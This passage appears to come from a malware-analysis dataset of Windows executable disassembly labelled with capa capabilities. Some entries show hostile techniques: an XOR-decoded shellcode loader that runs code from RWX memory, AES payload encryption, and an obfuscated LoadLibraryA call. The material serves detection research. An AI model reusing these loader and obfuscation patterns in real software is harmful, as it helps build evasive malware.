joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001b30
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x14000d890]
lea r8, [0x14000d940]
sub r8, rbx
mov rcx, rbx
mov r9d, 4
nop
mov edx, 4
nop word [rax + rax]
movzx eax, byte [rcx + r8]
xor byte [rcx], al
inc rcx
sub rdx, 1
jne 0x140001b70
sub r9, 1
jne 0x140001b60
lea rdi, [0x14000d930]
mov sil, 9
sub rdi, rbx
lea rbp, [0x140008a80]
nop word [rax + rax]
movzx eax, byte [rbx + 9]
mov r8, rbx
movzx ecx, byte [rbx + 0xd]
mov r9d, 4
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
nop dword [rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + rbp]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x140001c10
inc r8
sub r9, 1
jne 0x140001c00
mov rax, rbx
lea r8d, [rdx + 4]
nop dword [rax]
nop dword [rax + rax]
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [rdi + rax]
xor byte [rax], cl
inc rax
sub rdx, 1
jne 0x140001c50
sub r8, 1
jne 0x140001c40
call fcn.140001580
sub rdi, 0x10
add sil, 0xff
jne 0x140001ba0
movzx eax, byte [rbx + 9]
mov r8, rbx
movzx ecx, byte [rbx + 0xd]
mov r9d, 4
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
nop word [rax + rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + rbp]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x140001cf0
inc r8
sub r9, 1
jne 0x140001ce0
lea rdx, [0x14000d8a0]
sub rdx, rbx
lea r8d, [r9 + 4]
nop dword [rax + rax]
mov ecx, 4
nop word [rax + rax]
movzx eax, byte [rdx + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140001d30
sub r8, 1
jne 0x140001d20
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140004b40
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
push r15
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r15, rdx
xor edi, edi
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov rbx, rcx
call fcn.140005b34
mov rsi, rax
test rax, rax
jne 0x140004ba0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Cannot_read_payload_
call fcn.1400028f0
mov rcx, rax
lea rdx, [0x140002ac0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004cdb
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0x98], r13
mov qword [rsp + 0x50], r14
mov r14d, dword [rsp + 0x20]
mov eax, r14d
and al, 0xf
neg al
mov eax, r14d
sbb r13d, r13d
and eax, 0xfffffff0
and r13d, 0x10
add r13d, eax
mov rax, 0xffffffffffffffff
mov ecx, r13d
add ecx, 1
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r8d, [r13 + 1]
xor edx, edx
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [str.AZAZAZ]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x28], ecx
movzx ecx, word [0x140009a24]
mov word [rsp + 0x2c], cx
test r14d, r14d
je 0x140004c5a
lea rcx, [rsp + 0x28]
mov eax, edi
mov qword [0x14000d888], rcx
nop word [rax + rax]
cdqe
lea rcx, [rax + rbp]
mov qword [0x14000d890], rcx
movups xmm0, xmmword [rax + rsi]
movups xmmword [rcx], xmm0
call fcn.140001010
call fcn.140001820
inc edi
mov eax, edi
shl eax, 4
cmp eax, r14d
jb 0x140004c30
mov r14, qword [rsp + 0x50]
test r15, r15
jne 0x140004ca7
lea rcx, [rsp + 0x38]
sub rcx, rbx
nop dword [rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x140004c70
lea rcx, [rsp + 0x38]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140004c86
mov eax, dword [str..enc]
lea r15, [rsp + 0x38]
mov dword [rcx], eax
movzx eax, byte [0x140009a2c]
mov byte [rcx + 4], al
lea rdx, [0x140009a30]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r8d, r13d
mov edx, 1
mov r9, rax
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r13, qword [rsp + 0x98]
mov rbp, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140006440
add rsp, 0x58
pop r15
pop rdi
pop rsi
pop rbx
ret
Function at 0x140005030
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
mov rbx, rcx
test rcx, rcx
je 0x140005061
test rdx, rdx
je 0x140005073
mov r9d, 0x40
mov r8, rcx
call fcn.140005f3c
test al, al
jne 0x140005081
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov edx, 0x40
call fcn.140005f60
test al, al
jne 0x140005061
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140005061
cmp dword [rbx + 0x3c], 0x400
jg 0x140005061
movsxd rdi, dword [rbx + 0x3c]
add rdi, rbx
test rsi, rsi
je 0x1400050ba
mov r9d, 0xf8
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.140005f3c
test al, al
jne 0x1400050cb
jmp 0x140005061
mov edx, 0xf8
mov rcx, rdi
call fcn.140005f60
test al, al
jne 0x140005061
cmp dword [rdi], 0x4550
jne 0x140005061
mov rax, rdi
jmp 0x140005063
Function at 0x140005b34
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
xor ebx, ebx
mov r12, rdx
mov qword [rax - 0x28], rbx
xor r9d, r9d
mov dword [rax - 0x30], 0x80
mov edx, 0x80000000
mov r14, rcx
mov dword [rax - 0x38], 3
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140005b8d
xor eax, eax
jmp 0x140005c98
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rbp, rax
test rax, rax
jne 0x140005bbb
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005b86
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov rcx, rbp
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
test rax, rax
jne 0x140005be6
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005bb0
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp qword [r12], rbx
je 0x140005c02
cmp qword [r12], rdi
cmovbe rdi, qword [r12]
mov rdx, rdi
mov rcx, r15
call fcn.140005f60
test al, al
je 0x140005c50
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.____Mapping_of
call fcn.1400028f0
mov rcx, rax
mov rdx, r14
call fcn.1400028f0
mov rcx, rax
lea rdx, str._is_invalid_
call fcn.1400028f0
mov rcx, rax
lea rdx, [0x140002ac0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005c7a
mov rcx, rdi
call fcn.140005ef4
mov r14, rax
test rax, rax
je 0x140005c70
mov r8, rdi
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140005c73
mov rdi, rbx
mov qword [r12], rdi
mov rbx, r14
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret

Function at 0x140006eb4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006efe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006efe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006efe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006efe
cmp dword [rcx + 0x84], 0xe
jbe 0x140006efe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006f00
xor al, al
add rsp, 0x28
ret
Function at 0x180001a40
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x80
mov rdi, r9
mov r14d, r8d
mov rbp, rdx
mov r13, rcx
test r8b, 0xf
jne 0x180001bc2
mov ecx, r14d
call fcn.18025a348
mov rbx, rax
mov ecx, dword [r13 + 4]
inc ecx
shl ecx, 4
call fcn.18025a348
mov r15, rax
mov r8, rax
mov rdx, rdi
mov rcx, r13
call fcn.180001c10
mov rcx, qword [rsp + 0xd0]
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x20], xmm0
xor r12d, r12d
test r14d, r14d
je 0x180001b96
mov esi, r12d
lea rdi, [r12 + rbx]
add rbp, rsi
mov r9, r15
mov r8, rdi
mov rdx, rbp
mov rcx, r13
call fcn.1800015d0
movzx eax, byte [rsp + 0x20]
xor byte [rdi], al
movzx eax, byte [rsp + 0x21]
xor byte [r12 + rbx + 1], al
movzx eax, byte [rsp + 0x22]
xor byte [r12 + rbx + 2], al
movzx eax, byte [rsp + 0x23]
xor byte [r12 + rbx + 3], al
movzx eax, byte [rsp + 0x24]
xor byte [r12 + rbx + 4], al
movzx eax, byte [rsp + 0x25]
xor byte [r12 + rbx + 5], al
movzx eax, byte [rsp + 0x26]
xor byte [r12 + rbx + 6], al
movzx eax, byte [rsp + 0x27]
xor byte [r12 + rbx + 7], al
movzx eax, byte [rsp + 0x28]
xor byte [r12 + rbx + 8], al
movzx eax, byte [rsp + 0x29]
xor byte [r12 + rbx + 9], al
movzx eax, byte [rsp + 0x2a]
xor byte [r12 + rbx + 0xa], al
movzx eax, byte [rsp + 0x2b]
xor byte [r12 + rbx + 0xb], al
movzx eax, byte [rsp + 0x2c]
xor byte [r12 + rbx + 0xc], al
movzx eax, byte [rsp + 0x2d]
xor byte [r12 + rbx + 0xd], al
movzx eax, byte [rsp + 0x2e]
xor byte [r12 + rbx + 0xe], al
movzx eax, byte [rsp + 0x2f]
xor byte [r12 + rbx + 0xf], al
movups xmm0, xmmword [rbp]
movups xmmword [rsp + 0x20], xmm0
add r12d, 0x10
cmp r12d, r14d
mov rbp, qword [rsp + 0xb8]
jb 0x180001ac0
mov rcx, r15
call fcn.18025a340
mov rax, rbx
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov edx, 0x10
lea rcx, [rsp + 0x38]
call fcn.180001ff0
nop
mov r8, rax
lea rdx, str.Plaintext_length_must_be_divisible_by
lea rcx, [rsp + 0x58]
call section..text
nop
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.180001460
lea rdx, [0x1802731e8]
lea rcx, [rsp + 0x20]
call fcn.18025afd8
int3
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140004480]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140004490]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140007008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400043f0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140004470]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140007028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140007020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140007020], rbp
call dbg.__main
mov rax, qword [0x140004400]
mov r8, qword [0x140007018]
mov ecx, dword [0x140007028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140007020]
call sym.main
mov ecx, dword [0x14000700c]
mov dword [0x140007010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140007008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140004490]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x1400044b0]
mov rcx, qword [0x1400044a0]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140007010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400044d0]
mov rcx, qword [0x1400044c0]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x30
lea rbp, [rsp + 0x30]
call dbg.__main
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str.0dCyzdCKCoHnW8sOHv5G
mov byte [rbp - 5], al
lea rax, str.snD2CGKxa4tmNA2qteOq
mov byte [rbp - 6], al
mov dword [rbp - 4], 0
jmp 0x140001521
mov eax, dword [rbp - 4]
cdqe
lea rdx, section..data
movzx eax, byte [rax + rdx]
movzx edx, al
movsx eax, byte [rbp - 5]
xor edx, eax
movsx eax, byte [rbp - 6]
xor eax, edx
mov edx, eax
lea rax, str.x_02x
mov rcx, rax
call dbg.printf
mov eax, dword [rbp - 4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0xe
sub eax, ecx
mov edx, eax
test edx, edx
jne 0x1400014f6
lea rax, [0x140004031]
mov rcx, rax
call dbg.printf
mov eax, dword [rbp - 4]
cdqe
lea rdx, section..data
movzx eax, byte [rax + rdx]
xor al, byte [rbp - 5]
xor al, byte [rbp - 6]
mov ecx, eax
mov eax, dword [rbp - 4]
cdqe
lea rdx, section..data
mov byte [rax + rdx], cl
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp eax, 0x1cd
jbe 0x14000148f
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1ce
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
lea rdx, section..data
mov ecx, 0x1ce
mov r8, qword [rdx]
mov qword [rax], r8
mov r8d, ecx
add r8, rax
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rdx
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rax + 8]
and r8, 0xfffffffffffffff8
sub rax, r8
sub rdx, rax
add ecx, eax
and ecx, 0xfffffff8
mov eax, ecx
shr eax, 3
mov eax, eax
mov rdi, r8
mov rsi, rdx
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp - 0x10]
call rax
mov eax, 0
add rsp, 0x30
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001880
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140002270
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400022bd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400022b4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400022bf
add rax, 0x28
cmp rax, r9
jne 0x1400022a0
xor eax, eax
ret

Function at 0x1400022c0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002350
mov rdx, qword [0x1400043c0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000233e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000233e
cmp word [rax + 0x18], 0x20b
jne 0x14000233e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002350
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002329
add rbx, 0x28
cmp rbx, rdi
je 0x140002350
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002320
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002360
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002380
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002388
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002380
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400023d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002380
add rax, 0x28
cmp rax, r9
jne 0x1400023c0
xor eax, eax
ret

Function at 0x1400023e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400023ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002408
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400023ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043c0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002440
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002448
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002440
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002490
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002487
test rcx, rcx
je 0x140002440
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002478
xor eax, eax
ret
Function at 0x1400024a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400024c8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400024e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002500
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002508
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002500
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002500
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002554
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002560
add rdx, 0x28
cmp rdx, r9
jne 0x140002540
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002570
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043c0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002592
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400025a0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002592
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002592
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002592
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400025f5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002608
add rdx, 0x28
cmp r10, rdx
jne 0x1400025e0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002617
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002627
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400025fe
test ecx, ecx
jg 0x140002610
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140024860
Capabilities:
Get file version info

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x38
movsxd rax, dword [rsp + 0x40]
mov ecx, 0xd158fe7e
cmp rax, rcx
jne 0x1400248e0
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.SensApi.dll_IsNetworkAlive]
xor edx, edx
lea rcx, [0x1400f6090]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400f6090]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoA]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400f6090]
xor ecx, ecx
call qword [sym.imp.VERSION.dll_VerQueryValueA]
xor ecx, ecx
call qword [sym.imp.WINSPOOL.DRV_ClosePrinter]
lea r8, [0x1400f6090]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.WINSPOOL.DRV_StartDocPrinterA]
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140024b5c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1401149e0]
test rax, rax
je 0x140024b7e
call rax
mov al, 1
jmp 0x140024cda
xor r9d, r9d
mov dword [rbp - 0x30], 0x8cc3d827
mov cl, 0x27
mov dword [rbp - 0x2c], 0xea0f7043
mov dword [rbp - 0x28], 0xf2c39e
movabs rbx, 0x8080808080808081
lea r10d, [r9 + 0xa]
movsx eax, cl
inc eax
movsxd r8, eax
lea rax, [r9 + 0xa]
imul r8, rax
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
movsx rdx, cl
sub r8, rax
mov al, r9b
and al, 7
shl al, 3
mov cl, al
mov rax, rbx
sar rdx, cl
mov rcx, r10
xor r8b, dl
mul r10
add r10, 0xa
shr rdx, 7
imul rax, rdx, 0xff
sub rcx, rax
xor r8b, cl
xor byte [rbp + r9 - 0x2f], r8b
inc r9
cmp r10, 0x6e
jae 0x140024c0f
mov cl, byte [rbp - 0x30]
jmp 0x140024ba6
lea rcx, [rbp - 0x2f]
mov byte [rbp - 0x25], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9, rax
test rax, rax
je 0x140024cd8
movdqa xmm0, xmmword [str.0h]
xor eax, eax
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x8d5709c9
xor r10d, r10d
mov word [rbp - 0xc], 0x3f62
